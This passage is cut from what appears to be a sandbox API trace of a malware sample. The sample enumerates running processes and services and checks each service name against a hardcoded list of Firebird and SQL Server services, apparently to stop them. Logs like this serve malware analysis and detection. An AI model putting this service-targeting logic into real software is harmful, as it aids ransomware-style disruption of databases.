th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0075.828] lstrlenW (lpString="romandisclosure.exe") returned 19 [0075.828] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0075.829] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0075.829] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0075.830] lstrlenW (lpString="dllhost.exe") returned 11 [0075.830] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0075.831] lstrlenW (lpString="product.exe") returned 11 [0075.831] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0075.832] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0075.832] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0075.833] lstrlenW (lpString="basin.exe") returned 9 [0075.833] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0075.834] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0075.834] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0075.835] lstrlenW (lpString="tested housewives.exe") returned 21 [0075.835] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.836] lstrlenW (lpString="conhost.exe") returned 11 [0075.836] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0075.837] lstrlenW (lpString="conhost.exe") returned 11 [0075.837] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0075.838] lstrlenW (lpString="svchost.exe") returned 11 [0075.838] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0075.839] lstrlenW (lpString="wmxsde.exe") returned 10 [0075.839] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0075.840] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0076.248] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.249] lstrlenW (lpString="conhost.exe") returned 11 [0076.249] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0076.251] lstrlenW (lpString="cmd.exe") returned 7 [0076.251] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.252] lstrlenW (lpString="conhost.exe") returned 11 [0076.252] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.253] lstrlenW (lpString="svchost.exe") returned 11 [0076.254] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0076.255] lstrlenW (lpString="mode.com") returned 8 [0076.255] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0076.256] lstrlenW (lpString="LogonUI.exe") returned 11 [0076.256] Process32NextW (in: hSnapshot=0x2e8, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0076.257] CloseHandle (hObject=0x2e8) returned 1 [0076.257] Sleep (dwMilliseconds=0x1f4) [0076.913] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6dedb8 [0076.913] EnumServicesStatusExW (in: hSCManager=0x6dedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0076.914] GetLastError () returned 0xea [0076.914] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1d5a) returned 0x3ce4288 [0076.914] EnumServicesStatusExW (in: hSCManager=0x6dedb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ce4288, cbBufSize=0x1d5a, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ce4288, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0076.915] CloseServiceHandle (hSCObject=0x6dedb8) returned 1 [0076.915] lstrlenW (lpString="Appinfo") returned 7 [0076.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0076.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0076.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0076.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0076.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0076.915] lstrlenW (lpString="AppXSvc") returned 7 [0076.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0076.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0076.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0076.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0076.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0076.916] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0076.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0076.916] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0076.916] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0076.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0076.916] lstrlenW (lpString="Audiosrv") returned 8 [0076.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0076.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0076.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0076.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0076.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0076.916] lstrlenW (lpString="BFE") returned 3 [0076.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0076.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0076.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0076.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0076.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0076.916] lstrlenW (lpString="BITS") returned 4 [0076.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0076.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0076.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0076.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0076.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0076.916] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0076.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0076.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0076.917] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0076.917] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0076.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0076.917] lstrlenW (lpString="CDPSvc") returned 6 [0076.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0076.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0076.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0076.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0076.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0076.917] lstrlenW (lpString="ClickToRunSvc") returned 13 [0076.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0076.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0076.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0076.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0076.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0076.917] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0076.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0076.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0076.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0076.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0076.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0076.917] lstrlenW (lpString="CryptSvc") returned 8 [0076.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0076.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0076.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0076.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0076.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0076.917] lstrlenW (lpString="DcomLaunch") returned 10 [0076.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0076.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0076.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0076.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0076.918] lstrlenW (lpString="DeviceAssociationService") returned 24 [0076.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0076.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0076.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0076.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0076.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0076.918] lstrlenW (lpString="Dhcp") returned 4 [0076.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0076.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0076.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0076.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0076.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0076.918] lstrlenW (lpString="Dnscache") returned 8 [0076.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0076.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0076.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0076.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0076.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0076.918] lstrlenW (lpString="DoSvc") returned 5 [0076.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0076.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0076.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0076.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0076.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0076.918] lstrlenW (lpString="DPS") returned 3 [0076.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0076.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0076.919] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0076.919] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0076.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0076.919] lstrlenW (lpString="DusmSvc") returned 7 [0076.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0076.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0076.919] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0076.919] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0076.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0076.919] lstrlenW (lpString="EventLog") returned 8 [0076.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0076.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0076.919] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0076.919] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0076.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0076.919] lstrlenW (lpString="EventSystem") returned 11 [0076.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0076.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0076.919] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0076.919] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0076.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0076.919] lstrlenW (lpString="FontCache") returned 9 [0076.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0076.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0076.919] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0076.919] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0076.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0076.920] lstrlenW (lpString="gpsvc") returned 5 [0076.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0076.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0076.920] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0076.920] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0076.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0076.920] lstrlenW (lpString="iphlpsvc") returned 8 [0076.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.920] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0076.920] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0076.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0076.920] lstrlenW (lpString="KeyIso") returned 6 [0076.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0076.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0076.920] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0076.920] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0076.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0076.920] lstrlenW (lpString="LanmanServer") returned 12 [0076.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0076.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0076.920] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0076.920] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0076.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0076.920] lstrlenW (lpString="LanmanWorkstation") returned 17 [0076.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.920] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0076.920] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0076.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0076.920] lstrlenW (lpString="lfsvc") returned 5 [0076.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0076.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0076.921] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0076.921] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0076.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0076.921] lstrlenW (lpString="lmhosts") returned 7 [0076.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0076.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0076.921] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0076.921] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0076.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0076.921] lstrlenW (lpString="LSM") returned 3 [0076.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0076.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0076.921] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0076.921] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0076.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0076.921] lstrlenW (lpString="MapsBroker") returned 10 [0076.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0076.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0076.921] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0076.921] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0076.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0076.921] lstrlenW (lpString="MpsSvc") returned 6 [0076.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0076.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0076.921] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0076.921] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0076.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0076.921] lstrlenW (lpString="NcbService") returned 10 [0076.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0076.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0076.921] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0076.921] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0076.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0076.922] lstrlenW (lpString="netprofm") returned 8 [0076.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0076.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0076.922] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0076.922] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0076.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0076.922] lstrlenW (lpString="NlaSvc") returned 6 [0076.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0076.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0076.922] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0076.922] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0076.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0076.922] lstrlenW (lpString="nsi") returned 3 [0076.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0076.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0076.922] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0076.922] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0076.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0076.922] lstrlenW (lpString="PcaSvc") returned 6 [0076.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0076.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0076.922] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0076.922] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0076.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0076.922] lstrlenW (lpString="PlugPlay") returned 8 [0076.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0076.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0076.922] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0076.922] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0076.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0076.922] lstrlenW (lpString="Power") returned 5 [0076.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0076.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0076.923] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0076.923] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0076.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0076.923] lstrlenW 